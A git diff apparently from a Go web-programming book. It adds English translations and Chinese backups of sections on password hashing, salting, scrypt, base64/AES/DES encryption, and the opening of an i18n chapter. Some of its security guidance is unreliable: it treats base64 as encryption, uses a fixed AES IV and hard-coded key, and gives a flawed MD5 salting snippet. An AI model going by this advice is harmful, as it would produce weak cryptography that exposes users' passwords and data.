aforementioned encryption algorithms in Go as follows: + + //import "crypto/sha256" + h := sha256.New() + io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.") + fmt.Printf("% x", h.Sum(nil)) + + //import "crypto/sha1" + h := sha1.New() + io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.") + fmt.Printf("% x", h.Sum(nil)) + + //import "crypto/md5" + h := md5.New() + io.WriteString(h, "需要加密的密码") + fmt.Printf("%x", h.Sum(nil)) + +There are two key features of one-way hashing: + +1) given a one-way hash of a password, the resulting summary is always uniquely determined. +2) calculation speed. As technology advances, it only takes a second to complete billions of one-way hash calculations. + +Given the combination of the above two characteristics, and taking into account the fact that the majority of people use some combination of common passwords, an attacker can compute a combination of all the common passwords. Even though the passwords you store in your database may be hash values only, if attackers gain access to this database, they can compare the stored hashes to their precomputed hashes to obtain the corresponding passwords. This type of attack relies on what is typically called a `rainbow table`. + +We can see that encrypting user data using one-way hashes may not be enough. Once a website's database gets leaked, the user's original password could potentially be revealed to the world. + +## Advanced solution + +Through the above description, we've seen that hackers can use `rainbow table`s to crack hashed passwords, largely because the hash algorithm used to encrypt them is public. If the hackers do not know what the encryption algorithm is, they wouldn't even know where to start. + +An immediate solution would be to design your own hash algorithm. However, good hash algorithms can be very difficult to design both in terms of avoiding collisions and making sure that your hashing process is not too obvious. These two points can be much more difficult to achieve than expected. For most of us, it's much more practical to use the existing, battle hardened hash algorithms that are already out there. + +But, just to repeat ourselves, one-way hashing is still not enough to stop more sophisticated hackers from reverse engineering user passwords. Especially in the case of open source hashing algorithms, we should never assume that a hacker does not have intimate knowledge of our hashing process. + +Of course, there are no impenetrable shields, but there are also no unbreakable spears. Nowadays, any website with decent security will use a technique called "salting" to store passwords securely. This practice involves concatenating a server-generated random string to a user supplied password, and using the resulting string as an input to a one-way hash function. The username can be included in the random string to ensure that each user has a unique encryption key. + + //import "crypto/md5" + // Assume the username abc, password 123456 + h := md5.New() + io.WriteString(h, "password need to be encrypted") + + pwmd5 :=fmt.Sprintf("%x", h.Sum(nil)) + + // Specify two salt: salt1 = @#$% salt2 = ^&*() + salt1 := "@#$%" + salt2 := "^&*()" + + // salt1 + username + salt2 + MD5 splicing + io.WriteString(h, salt1) + io.WriteString(h, "abc") + io.WriteString(h, salt2) + io.WriteString(h, pwmd5) + + last :=fmt.Sprintf("%x", h.Sum(nil)) + +In the case where our two salt strings have not been compromised, even if hackers do manage to get their hands on the encrypted password string, it will be almost impossible to figure out what the original password is. + +## Professional solution + +The advanced methods mentioned above may have been secure enough to thwart most hacking attempts a few years ago, since most attackers would not have had the computing resources to compute large `rainbow table`s. However, with the rise of parallel computing capabilities, these types of attacks are becoming more and more feasible. + + How do we securely store a password so that it cannot be deciphered by a third party, given real life limitations in time and memory resources? The solution is to calculate a hashed password to deliberately increase the amount of resources and time it would take to crack it. We want to design a hash such that nobody could possibly have the resources required to compute the required `rainbow table`. + +Very secure systems utilize hash algorithms that take into account the time and resources it would require to compute a given password digest. This allows us to create password digests that are computationally expensive to perform on a large scale. The greater the intensity of the calculation, the more difficult it will be for an attacker to pre-compute `rainbow table`s -so much so that it may even be infeasible to try. + +In Go, it's recommended that you use the `scrypt` package, which is based on the work of the famous hacker Colin Percival (of the FreeBSD backup service Tarsnap). + +The packge's source code can be found at the following link: http://code.google.com/p/go/source/browse?repo=crypto#hg%2Fscrypt + +Here is an example code snippet which can be used to obtain a derived key for an AES-256 encryption: + + dk: = scrypt.Key([]byte("some password"), []byte(salt), 16384, 8, 1, 32) + +You can generate unique password values using the above method, which are by far the most difficult to crack. + +## Summary + +If you're worried about the security of your online life, you can take the following steps: + +1) As a regular internet user, we recommend using LastPass for password storage and generation; on different sites use different passwords. + +2) As a Go web developer, we strongly suggest that you use one of the professional, well tested methods above for storing user passwords. + +## Links + +- [Directory](preface.md) +- Previous section: [SQL injection](09.4.md) +- Next section: [Encrypt and decrypt data](09.6.md) diff --git a/en/09.5.md~380a8ee74c41759d8189ad553423467994187253 b/en/09.5.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..fe8b19e3 --- /dev/null +++ b/en/09.5.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,89 @@ +# 9.5 存储密码 +过去一段时间以来, 许多的网站遭遇用户密码数据泄露事件, 这其中包括顶级的互联网企业–Linkedin, 国内诸如CSDN,该事件横扫整个国内互联网,随后又爆出多玩游戏800万用户资料被泄露,另有传言人人网、开心网、天涯社区、世纪佳缘、百合网等社区都有可能成为黑客下一个目标。层出不穷的类似事件给用户的网上生活造成巨大的影响,人人自危,因为人们往往习惯在不同网站使用相同的密码,所以一家“暴库”,全部遭殃。 + +那么我们作为一个Web应用开发者,在选择密码存储方案时, 容易掉入哪些陷阱, 以及如何避免这些陷阱? + +## 普通方案 +目前用的最多的密码存储方案是将明文密码做单向哈希后存储,单向哈希算法有一个特征:无法通过哈希后的摘要(digest)恢复原始数据,这也是“单向”二字的来源。常用的单向哈希算法包括SHA-256, SHA-1, MD5等。 + +Go语言对这三种加密算法的实现如下所示: + + //import "crypto/sha256" + h := sha256.New() + io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.") + fmt.Printf("% x", h.Sum(nil)) + + //import "crypto/sha1" + h := sha1.New() + io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.") + fmt.Printf("% x", h.Sum(nil)) + + //import "crypto/md5" + h := md5.New() + io.WriteString(h, "需要加密的密码") + fmt.Printf("%x", h.Sum(nil)) + +单向哈希有两个特性: + +- 1)同一个密码进行单向哈希,得到的总是唯一确定的摘要。 +- 2)计算速度快。随着技术进步,一秒钟能够完成数十亿次单向哈希计算。 + +结合上面两个特点,考虑到多数人所使用的密码为常见的组合,攻击者可以将所有密码的常见组合进行单向哈希,得到一个摘要组合, 然后与数据库中的摘要进行比对即可获得对应的密码。这个摘要组合也被称为`rainbow table`。 + +因此通过单向加密之后存储的数据,和明文存储没有多大区别。因此,一旦网站的数据库泄露,所有用户的密码本身就大白于天下。 +## 进阶方案 +通过上面介绍我们知道黑客可以用`rainbow table`来破解哈希后的密码,很大程度上是因为加密时使用的哈希算法是公开的。如果黑客不知道加密的哈希算法是什么,那他也就无从下手了。 + +一个直接的解决办法是,自己设计一个哈希算法。然而,一个好的哈希算法是很难设计的——既要避免碰撞,又不能有明显的规律,做到这两点要比想象中的要困难很多。因此实际应用中更多的是利用已有的哈希算法进行多次哈希。 + +但是单纯的多次哈希,依然阻挡不住黑客。两次 MD5、三次 MD5之类的方法,我们能想到,黑客自然也能想到。特别是对于一些开源代码,这样哈希更是相当于直接把算法告诉了黑客。 + +没有攻不破的盾,但也没有折不断的矛。现在安全性比较好的网站,都会用一种叫做“加盐”的方式来存储密码,也就是常说的 “salt”。他们通常的做法是,先将用户输入的密码进行一次MD5(或其它哈希算法)加密;将得到的 MD5 值前后加上一些只有管理员自己知道的随机串,再进行一次MD5加密。这个随机串中可以包括某些固定的串,也可以包括用户名(用来保证每个用户加密使用的密钥都不一样)。 + + //import "crypto/md5" + //假设用户名abc,密码123456 + h := md5.New() + io.WriteString(h, "需要加密的密码") + + //pwmd5等于e10adc3949ba59abbe56e057f20f883e + pwmd5 :=fmt.Sprintf("%x", h.Sum(nil)) + + //指定两个 salt: salt1 = @#$% salt2 = ^&*() + salt1 := "@#$%" + salt2 := "^&*()" + + //salt1+用户名+salt2+MD5拼接 + io.WriteString(h, salt1) + io.WriteString(h, "abc") + io.WriteString(h, salt2) + io.WriteString(h, pwmd5) + + last :=fmt.Sprintf("%x", h.Sum(nil)) + +在两个salt没有泄露的情况下,黑客如果拿到的是最后这个加密串,就几乎不可能推算出原始的密码是什么了。 + +## 专家方案 +上面的进阶方案在几年前也许是足够安全的方案,因为攻击者没有足够的资源建立这么多的`rainbow table`。 但是,时至今日,因为并行计算能力的提升,这种攻击已经完全可行。 + +怎么解决这个问题呢?只要时间与资源允许,没有破译不了的密码,所以方案是:故意增加密码计算所需耗费的资源和时间,使得任何人都不可获得足够的资源建立所需的`rainbow table`。 + +这类方案有一个特点,算法中都有个因子,用于指明计算密码摘要所需要的资源和时间,也就是计算强度。计算强度越大,攻击者建立`rainbow table`越困难,以至于不可继续。 + +这里推荐`scrypt`方案,scrypt是由著名的FreeBSD黑客Colin Percival为他的备份服务Tarsnap开发的。 + +目前Go语言里面支持的库http://code.google.com/p/go/source/browse?repo=crypto#hg%2Fscrypt + + dk := scrypt.Key([]byte("some password"), []byte(salt), 16384, 8, 1, 32) + +通过上面的的方法可以获取唯一的相应的密码值,这是目前为止最难破解的。 + +## 总结 +看到这里,如果你产生了危机感,那么就行动起来: + +- 1)如果你是普通用户,那么我们建议使用LastPass进行密码存储和生成,对不同的网站使用不同的密码; +- 2)如果你是开发人员, 那么我们强烈建议你采用专家方案进行密码存储。 + +## links + * [目录]() + * 上一节: [确保输入过滤](<09.4.md>) + * 下一节: [加密和解密数据](<09.6.md>) diff --git a/en/09.6.md b/en/09.6.md index deee4540..37d81300 100644 --- a/en/09.6.md +++ b/en/09.6.md @@ -1,122 +1,125 @@ -# 9.6 加密和解密数据 -前面小节介绍了如何存储密码,但是有的时候,我们想把一些敏感数据加密后存储起来,在将来的某个时候,随需将它们解密出来,此时我们应该在选用对称加密算法来满足我们的需求。 - -## base64加解密 -如果Web应用足够简单,数据的安全性没有那么严格的要求,那么可以采用一种比较简单的加解密方法是`base64`,这种方式实现起来比较简单,Go语言的`base64`包已经很好的支持了这个,请看下面的例子: - - package main - - import ( - "encoding/base64" - "fmt" - ) - - func base64Encode(src []byte) []byte { - return []byte(base64.StdEncoding.EncodeToString(src)) - } - - func base64Decode(src []byte) ([]byte, error) { - return base64.StdEncoding.DecodeString(string(src)) - } - - func main() { - // encode - hello := "你好,世界! hello world" - debyte := base64Encode([]byte(hello)) - fmt.Println(debyte) - // decode - enbyte, err := base64Decode(debyte) - if err != nil { - fmt.Println(err.Error()) - } - - if hello != string(enbyte) { - fmt.Println("hello is not equal to enbyte") - } - - fmt.Println(string(enbyte)) - } - - -## 高级加解密 - -Go语言的`crypto`里面支持对称加密的高级加解密包有: - -- `crypto/aes`包:AES(Advanced Encryption Standard),又称Rijndael加密法,是美国联邦政府采用的一种区块加密标准。 -- `crypto/des`包:DES(Data Encryption Standard),是一种对称加密标准,是目前使用最广泛的密钥系统,特别是在保护金融数据的安全中。曾是美国联邦政府的加密标准,但现已被AES所替代。 - -因为这两种算法使用方法类似,所以在此,我们仅用aes包为例来讲解它们的使用,请看下面的例子 - - package main - - import ( - "crypto/aes" - "crypto/cipher" - "fmt" - "os" - ) - - var commonIV = []byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f} - - func main() { - //需要去加密的字符串 - plaintext := []byte("My name is Astaxie") - //如果传入加密串的话,plaint就是传入的字符串 - if len(os.Args) > 1 { - plaintext = []byte(os.Args[1]) - } - - //aes的加密字符串 - key_text := "astaxie12798akljzmknm.ahkjkljl;k" - if len(os.Args) > 2 { - key_text = os.Args[2] - } - - fmt.Println(len(key_text)) - - // 创建加密算法aes - c, err := aes.NewCipher([]byte(key_text)) - if err != nil { - fmt.Printf("Error: NewCipher(%d bytes) = %s", len(key_text), err) - os.Exit(-1) - } - - //加密字符串 - cfb := cipher.NewCFBEncrypter(c, commonIV) - ciphertext := make([]byte, len(plaintext)) - cfb.XORKeyStream(ciphertext, plaintext) - fmt.Printf("%s=>%x\n", plaintext, ciphertext) - - // 解密字符串 - cfbdec := cipher.NewCFBDecrypter(c, commonIV) - plaintextCopy := make([]byte, len(plaintext)) - cfbdec.XORKeyStream(plaintextCopy, ciphertext) - fmt.Printf("%x=>%s\n", ciphertext, plaintextCopy) - } - - -上面通过调用函数`aes.NewCipher`(参数key必须是16、24或者32位的[]byte,分别对应AES-128, AES-192或AES-256算法),返回了一个`cipher.Block`接口,这个接口实现了三个功能: - - type Block interface { - // BlockSize returns the cipher's block size. - BlockSize() int - - // Encrypt encrypts the first block in src into dst. - // Dst and src may point at the same memory. - Encrypt(dst, src []byte) - - // Decrypt decrypts the first block in src into dst. - // Dst and src may point at the same memory. - Decrypt(dst, src []byte) - } - -这三个函数实现了加解密操作,详细的操作请看上面的例子。 - -## 总结 -这小节介绍了几种加解密的算法,在开发Web应用的时候可以根据需求采用不同的方式进行加解密,一般的应用可以采用base64算法,更加高级的话可以采用aes或者des算法。 - - -## links - * [目录]() - * 上一节: [存储密码](<09.5.md>) - * 下一节: [小结](<09.7.md>) +# 9.6 Encrypting and decrypting data + +The previous section describes how to securely store passwords, but sometimes it might be neccessary to modify some sensitive encrypted data that has already been stored into our database. When data decryption is required, we should use a symmetric encryption algorithm instead of the one-way hashing techniques we've previously covered. + +## Base64 Encryption and decryption + +If the web application is relatively simple, and the data security requirements are not so stringent, then you can use a relatively simple method of encryption and decryption using `base64`. This approach is relatively straightforward to implement, and Go's `base64` package has good support for this. Consider the following example: + + package main + + import ( + "encoding/base64" + "fmt" + ) + + func base64Encode(src []byte) []byte { + return []byte(base64.StdEncoding.EncodeToString(src)) + } + + func base64Decode(src []byte) ([]byte, error) { + return base64.StdEncoding.DecodeString(string(src)) + } + + func main() { + // encode + hello := "你好,世界! hello world" + debyte := base64Encode([]byte(hello)) + fmt.Println(debyte) + // decode + enbyte, err := base64Decode(debyte) + if err != nil { + fmt.Println(err.Error()) + } + + if hello != string(enbyte) { + fmt.Println("hello is not equal to enbyte") + } + + fmt.Println(string(enbyte)) + } + + +## Advanced encryption and decryption + +The Go language supports symmetric encryption algorithms in its `crypto` package. Two advanced encryption modules are: + +- `crypto/aes` package: AES (Advanced Encryption Standard), also known as Rijndael encryption method, is used by the U.S. federal government as a block encryption standard. +- `crypto/des` package: DES (Data Encryption Standard), is a symmetric encryption standard . It's currently the most widely used key system, especially in protecting the security of financial data. It used to be the United States federal government's encryption standard, but has now been replaced by AES. + +Because using these two encryption algorithms is quite similar, we'll just use the `aes` package in the following example to demonstrate how you'd typically use these packages: + + package main + + import ( + "crypto/aes" + "crypto/cipher" + "fmt" + "os" + ) + + var commonIV = []byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f} + + func main() { + // Need to encrypt a string + plaintext := []byte("My name is Astaxie") + // If there is an incoming string of words to be encrypted, set plaintext to that incoming string + if len(os.Args) > 1 { + plaintext = []byte(os.Args[1]) + } + + // aes encryption string + key_text := "astaxie12798akljzmknm.ahkjkljl;k" + if len(os.Args) > 2 { + key_text = os.Args[2] + } + + fmt.Println(len(key_text)) + + // Create the aes encryption algorithm + c, err := aes.NewCipher([]byte(key_text)) + if err != nil { + fmt.Printf("Error: NewCipher(%d bytes) = %s", len(key_text), err) + os.Exit(-1) + } + + // Encrypted string + cfb := cipher.NewCFBEncrypter(c, commonIV) + ciphertext := make([]byte, len(plaintext)) + cfb.XORKeyStream(ciphertext, plaintext) + fmt.Printf("%s=>%x\n", plaintext, ciphertext) + + // Decrypt strings + cfbdec := cipher.NewCFBDecrypter(c, commonIV) + plaintextCopy := make([]byte, len(plaintext)) + cfbdec.XORKeyStream(plaintextCopy, ciphertext) + fmt.Printf("%x=>%s\n", ciphertext, plaintextCopy) + } + +Calling the above function `aes.NewCipher` (whose []byte key parameter must be 16, 24 or 32, corresponding to the AES-128, AES-192 or AES-256 algorithms, respectively), returns a `cipher.Block` Interface that implements three functions: + + type Block interface { + // BlockSize returns the cipher's block size. + BlockSize() int + + // Encrypt encrypts the first block in src into dst. + // Dst and src may point at the same memory. + Encrypt(dst, src []byte) + + // Decrypt decrypts the first block in src into dst. + // Dst and src may point at the same memory. + Decrypt(dst, src []byte) + } + +These three functions implement encryption and decryption operations; see the Go documentation for a more detailed explanation. + +## Summary + +This section describes several encryption algorithms which can be used in different ways according to your web application's encryption and decryption needs. For the most basic applications, base64 encoding may suffice. For applications with more stringent security requirements, it's recommended to use the more advanced AES or DES algorithm . + + +## Links + +- [Directory]() +- Previous: [store passwords](<09.5.md>) +- Next: [Summary](<09.7.md>) diff --git a/en/09.6.md~380a8ee74c41759d8189ad553423467994187253 b/en/09.6.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..73a2e990 --- /dev/null +++ b/en/09.6.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,122 @@ +# 9.6 加密和解密数据 +前面小节介绍了如何存储密码,但是有的时候,我们想把一些敏感数据加密后存储起来,在将来的某个时候,随需将它们解密出来,此时我们应该在选用对称加密算法来满足我们的需求。 + +## base64加解密 +如果Web应用足够简单,数据的安全性没有那么严格的要求,那么可以采用一种比较简单的加解密方法是`base64`,这种方式实现起来比较简单,Go语言的`base64`包已经很好的支持了这个,请看下面的例子: + + package main + + import ( + "encoding/base64" + "fmt" + ) + + func base64Encode(src []byte) []byte { + return []byte(base64.StdEncoding.EncodeToString(src)) + } + + func base64Decode(src []byte) ([]byte, error) { + return base64.StdEncoding.DecodeString(string(src)) + } + + func main() { + // encode + hello := "你好,世界! hello world" + debyte := base64Encode([]byte(hello)) + fmt.Println(debyte) + // decode + enbyte, err := base64Decode(debyte) + if err != nil { + fmt.Println(err.Error()) + } + + if hello != string(enbyte) { + fmt.Println("hello is not equal to enbyte") + } + + fmt.Println(string(enbyte)) + } + + +## 高级加解密 + +Go语言的`crypto`里面支持对称加密的高级加解密包有: + +- `crypto/aes`包:AES(Advanced Encryption Standard),又称Rijndael加密法,是美国联邦政府采用的一种区块加密标准。 +- `crypto/des`包:DES(Data Encryption Standard),是一种对称加密标准,是目前使用最广泛的密钥系统,特别是在保护金融数据的安全中。曾是美国联邦政府的加密标准,但现已被AES所替代。 + +因为这两种算法使用方法类似,所以在此,我们仅用aes包为例来讲解它们的使用,请看下面的例子 + + package main + + import ( + "crypto/aes" + "crypto/cipher" + "fmt" + "os" + ) + + var commonIV = []byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f} + + func main() { + //需要去加密的字符串 + plaintext := []byte("My name is Astaxie") + //如果传入加密串的话,plaint就是传入的字符串 + if len(os.Args) > 1 { + plaintext = []byte(os.Args[1]) + } + + //aes的加密字符串 + key_text := "astaxie12798akljzmknm.ahkjkljl;k" + if len(os.Args) > 2 { + key_text = os.Args[2] + } + + fmt.Println(len(key_text)) + + // 创建加密算法aes + c, err := aes.NewCipher([]byte(key_text)) + if err != nil { + fmt.Printf("Error: NewCipher(%d bytes) = %s", len(key_text), err) + os.Exit(-1) + } + + //加密字符串 + cfb := cipher.NewCFBEncrypter(c, commonIV) + ciphertext := make([]byte, len(plaintext)) + cfb.XORKeyStream(ciphertext, plaintext) + fmt.Printf("%s=>%x\n", plaintext, ciphertext) + + // 解密字符串 + cfbdec := cipher.NewCFBDecrypter(c, commonIV) + plaintextCopy := make([]byte, len(plaintext)) + cfbdec.XORKeyStream(plaintextCopy, ciphertext) + fmt.Printf("%x=>%s\n", ciphertext, plaintextCopy) + } + + +上面通过调用函数`aes.NewCipher`(参数key必须是16、24或者32位的[]byte,分别对应AES-128, AES-192或AES-256算法),返回了一个`cipher.Block`接口,这个接口实现了三个功能: + + type Block interface { + // BlockSize returns the cipher's block size. + BlockSize() int + + // Encrypt encrypts the first block in src into dst. + // Dst and src may point at the same memory. + Encrypt(dst, src []byte) + + // Decrypt decrypts the first block in src into dst. + // Dst and src may point at the same memory. + Decrypt(dst, src []byte) + } + +这三个函数实现了加解密操作,详细的操作请看上面的例子。 + +## 总结 +这小节介绍了几种加解密的算法,在开发Web应用的时候可以根据需求采用不同的方式进行加解密,一般的应用可以采用base64算法,更加高级的话可以采用aes或者des算法。 + + +## links + * [目录]() + * 上一节: [存储密码](<09.5.md>) + * 下一节: [小结](<09.7.md>) diff --git a/en/09.7.md b/en/09.7.md index b5e2dc73..7a799818 100644 --- a/en/09.7.md +++ b/en/09.7.md @@ -1,9 +1,10 @@ -# 9.7 小结 -这一章主要介绍了如:CSRF攻击、XSS攻击、SQL注入攻击等一些Web应用中典型的攻击手法,它们都是由于应用对用户的输入没有很好的过滤引起的,所以除了介绍攻击的方法外,我们也介绍了了如何有效的进行数据过滤,以防止这些攻击的发生的方法。然后针对日异严重的密码泄漏事件,介绍了在设计Web应用中可采用的从基本到专家的加密方案。最后针对敏感数据的加解密简要介绍了,Go语言提供三种对称加密算法:base64、aes和des的实现。 - -编写这一章的目的是希望读者能够在意识里面加强安全概念,在编写Web应用的时候多留心一点,以使我们编写的Web应用能远离黑客们的攻击。Go语言在支持防攻击方面已经提供大量的工具包,我们可以充分的利用这些包来做出一个安全的Web应用。 - -## links - * [目录]() - * 上一节: [加密和解密数据](<09.6.md>) - * 下一节: [国际化和本地化](<10.0.md>) +# 9.7 Summary + +In this chapter, we've described CSRF, XSS and SQL injection based attacks. Most web applications are vulnerable to these types of attacks due to a lack of adequate input filtering on the part of the application. So, in addition to introducing the principles behind these attacks, we've also introduced a few techniques for effectively filtering user data and preventing these attacks from ever taking place. We then talked about a few methods for securely storing user passwords, first introducing basic one-way hashing for web applications with loose security requirements, then password salting and encryption algorithms for more serious applications. Finally, we briefly discussed two-way hashing and the encryption and decryption of sensitive data. We learned that the Go language provides packages for three symmetric encryption algorithms: base64, AES and DES. +The purpose of this chapter is to help readers become more conscious of the security issues that exist in modern day web applications. Hopefully, it can help developers to plan and design their web applications a little more carefully, so they can write systems that are able to prevent hackers from exploiting user data. The Go language has a large and well designed anti-attack toolkit, and every Go developer should take full advantage of these packages to better secure their web applications. + +## Links + +- [Directory](preface.md) +- Previous section: [Encrypt and decrypt data](09.6.md) +- Next chapter: [Internationalization and localization](10.0.md) diff --git a/en/09.7.md~380a8ee74c41759d8189ad553423467994187253 b/en/09.7.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..eb46e56a --- /dev/null +++ b/en/09.7.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,9 @@ +# 9.7 小结 +这一章主要介绍了如:CSRF攻击、XSS攻击、SQL注入攻击等一些Web应用中典型的攻击手法,它们都是由于应用对用户的输入没有很好的过滤引起的,所以除了介绍攻击的方法外,我们也介绍了了如何有效的进行数据过滤,以防止这些攻击的发生的方法。然后针对日异严重的密码泄漏事件,介绍了在设计Web应用中可采用的从基本到专家的加密方案。最后针对敏感数据的加解密简要介绍了,Go语言提供三种对称加密算法:base64、aes和des的实现。 + +编写这一章的目的是希望读者能够在意识里面加强安全概念,在编写Web应用的时候多留心一点,以使我们编写的Web应用能远离黑客们的攻击。Go语言在支持防攻击方面已经提供大量的工具包,我们可以充分的利用这些包来做出一个安全的Web应用。 + +## links + * [目录]() + * 上一节: [加密和解密数据](<09.6.md>) + * 下一节: [国际化和本地化](<10.0.md>) diff --git a/en/10.0.md b/en/10.0.md index 8c3e5e59..366edb84 100644 --- a/en/10.0.md +++ b/en/10.0.md @@ -1,25 +1,24 @@ -# 10 国际化和本地化 -为了适应经济的全球一体化,作为开发者,我们需要开发出支持多国语言、国际化的Web应用,即同样的页面在不同的语言环境下需要显示不同的效果,也就是说应用程序在运行时能够根据请求所来自的地域与语言的不同而显示不同的用户界面。这样,当需要在应用程序中添加对新的语言的支持时,无需修改应用程序的代码,只需要增加语言包即可实现。 - -国际化与本地化(Internationalization and localization,通常用i18n和L10N表示),国际化是将针对某个地区设计的程序进行重构,以使它能够在更多地区使用,本地化是指在一个面向国际化的程序中增加对新地区的支持。 - -目前,Go语言的标准包没有提供对i18n的支持,但有一些比较简单的第三方实现,这一章我们将实现一个go-i18n库,用来支持Go语言的i18n。 - -所谓的国际化:就是根据特定的locale信息,提取与之相应的字符串或其它一些东西(比如时间和货币的格式)等等。这涉及到三个问题: - -1、如何确定locale。 - -2、如何保存与locale相关的字符串或其它信息。 - -3、如何根据locale提取字符串和其它相应的信息。 - -在第一小节里,我们将介绍如何设置正确的locale以便让访问站点的用户能够获得与其语言相应的页面。第二小节将介绍如何处理或存储字符串、货币、时间日期等与locale相关的信息,第三小节将介绍如何实现国际化站点,即如何根据不同locale返回不同合适的内容。通过这三个小节的学习,我们将获得一个完整的i18n方案。 - -## 目录 - - ![](images/navi10.png?raw=true) - -## links - * [目录]() - * 上一章: [第九章总结](<09.7.md>) - * 下一节: [设置默认地区](<10.1.md>) +# 10 Internationalization and localization + +In order to adapt to the increasing globalization of the internet, as developers, we may sometimes need to build multilingual, international web applications. +This means that same pages will appear in different languages according to user regions, and perhaps the UI and UX will also be adapted to show different effects based on local holidays or culture. For example at runtime, the application will be able to recognize and process requests coming from different geographical regions and render pages in the local dialect or display different user interface. As competent developers, we don't want to have to manually modify our application's source code to cater to every possible region out there. When an application needs to add support for a new language, we should be bale to simply drop in the appropriate language pack and be done with it. + +In this section, we'll be talking about internationalization and localization (usually expressed as i18n and L10N, respectively). Internationalization is the process of designing applications that are flexible enough to be served to multiple regions around the world. In some ways, we can think of internationalization as something that helps to facilitate localization, which is the adaptation of a web application's content and design to suit the language or cultural needs of specific locales. + +Currently, Go's standard package does not provide i18n support, but there are some useful and relatively simple third-party implementations available. In this chapter, we'll be using the open-source "go-i18n" library to support internationalization in our examples. + +When we talk about making our web applications "international", we mean that each web page should be constructed with locale specific information and assembled with the corresponding local strings, time and currency formats, etc. This involves three things: + +1. how to determine the user's locale. + +2. how to save strings or other information associated with the locale. + +3. how to embed strings and other information according to the user's locale. + +In the first section, we'll describe how to detect and set the correct locale in order to allow website users access to their language specific pages. The second section describes how to handle or store strings, currencies, times, dates and other locale related information. Finally, the third section will describe how to internationalize your web application; more specifically, we'll discuss how to return different pages with locale appropriate content. Through these three sections, we'll be able to support full i18n in our web applications. + +## Links + +- [Directory](preface.md) +- Previous Chapter: [Chapter 9 Summary](09.7.md) +- Next section: [Time zone](10.1.md) diff --git a/en/10.0.md~380a8ee74c41759d8189ad553423467994187253 b/en/10.0.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..c962796e --- /dev/null +++ b/en/10.0.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,25 @@ +# 10 国际化和本地化 +为了适应经济的全球一体化,作为开发者,我们需要开发出支持多国语言、国际化的Web应用,即同样的页面在不同的语言环境下需要显示不同的效果,也就是说应用程序在运行时能够根据请求所来自的地域与语言的不同而显示不同的用户界面。这样,当需要在应用程序中添加对新的语言的支持时,无需修改应用程序的代码,只需要增加语言包即可实现。 + +国际化与本地化(Internationalization and localization,通常用i18n和L10N表示),国际化是将针对某个地区设计的程序进行重构,以使它能够在更多地区使用,本地化是指在一个面向国际化的程序中增加对新地区的支持。 + +目前,Go语言的标准包没有提供对i18n的支持,但有一些比较简单的第三方实现,这一章我们将实现一个go-i18n库,用来支持Go语言的i18n。 + +所谓的国际化:就是根据特定的locale信息,提取与之相应的字符串或其它一些东西(比如时间和货币的格式)等等。这涉及到三个问题: + +1、如何确定locale。 + +2、如何保存与locale相关的字符串或其它信息。 + +3、如何根据locale提取字符串和其它相应的信息。 + +在第一小节里,我们将介绍如何设置正确的locale以便让访问站点的用户能够获得与其语言相应的页面。第二小节将介绍如何处理或存储字符串、货币、时间日期等与locale相关的信息,第三小节将介绍如何实现国际化站点,即如何根据不同locale返回不同合适的内容。通过这三个小节的学习,我们将获得一个完整的i18n方案。 + +## 目录 + + ![](images/navi10.png?raw=true) + +## links + * [目录]() + * 上一章: [第九章总结](<09.7.md>) + * 下一节: [设置默认地区](<10.1.md>) diff --git a/en/10.1.md b/en/10.1.md index d127271d..f1704799 100644 --- a/en/10.1.md +++ b/en/10.1.md @@ -1,85 +1,93 @@ -# 10.1 设置默认地区 -## 什么是Locale -Locale是一组描述世界上某一特定区域文本格式和语言习惯的设置的集合。locale名通常由三个部分组成:第一部分,是一个强制性的,表示语言的缩写,例如"en"表示英文或"zh"表示中文。第二部分,跟在一个下划线之后,是一个可选的国家说明符,用于区分讲同一种语言的不同国家,例如"en_US"表示美国英语,而"en_UK"表示英国英语。最后一部分,跟在一个句点之后,是可选的字符集说明符,例如"zh_CN.gb2312"表示中国使用gb2312字符集。 - -GO语言默认采用"UTF-8"编码集,所以我们实现i18n时不考虑第三部分,接下来我们都采用locale描述的前面两部分来作为i18n标准的locale名。 - - ->在Linux和Solaris系统中可以通过`locale -a`命令列举所有支持的地区名,读者可以看到这些地区名的命名规范。对于BSD等系统,没有locale命令,但是地区信息存储在/usr/share/locale中。 - -## 设置Locale -有了上面对locale的定义,那么我们就需要根据用户的信息(访问信息、个人信息、访问域名等)来设置与之相关的locale,我们可以通过如下几种方式来设置用户的locale。 - -### 通过域名设置Locale -设置Locale的办法之一是在应用运行的时候采用域名分级的方式,例如,我们采用www.asta.com当做我们的英文站(默认站),而把域名www.asta.cn当做中文站。这样通过在应用里面设置域名和相应的locale的对应关系,就可以设置好地区。这样处理有几点好处: - -- 通过URL就可以很明显的识别 -- 用户可以通过域名很直观的知道将访问那种语言的站点 -- 在Go程序中实现非常的简单方便,通过一个map就可以实现 -- 有利于搜索引擎抓取,能够提高站点的SEO - -我们可以通过下面的代码来实现域名的对应locale: - - if r.Host == "www.asta.com" { - i18n.SetLocale("en") - } else if r.Host == "www.asta.cn" { - i18n.SetLocale("zh-CN") - } else if r.Host == "www.asta.tw" { - i18n.SetLocale("zh-TW") - } - -当然除了整域名设置地区之外,我们还可以通过子域名来设置地区,例如"en.asta.com"表示英文站点,"cn.asta.com"表示中文站点。实现代码如下所示: - - prefix := strings.Split(r.Host,".") - - if prefix[0] == "en" { - i18n.SetLocale("en") - } else if prefix[0] == "cn" { - i18n.SetLocale("zh-CN") - } else 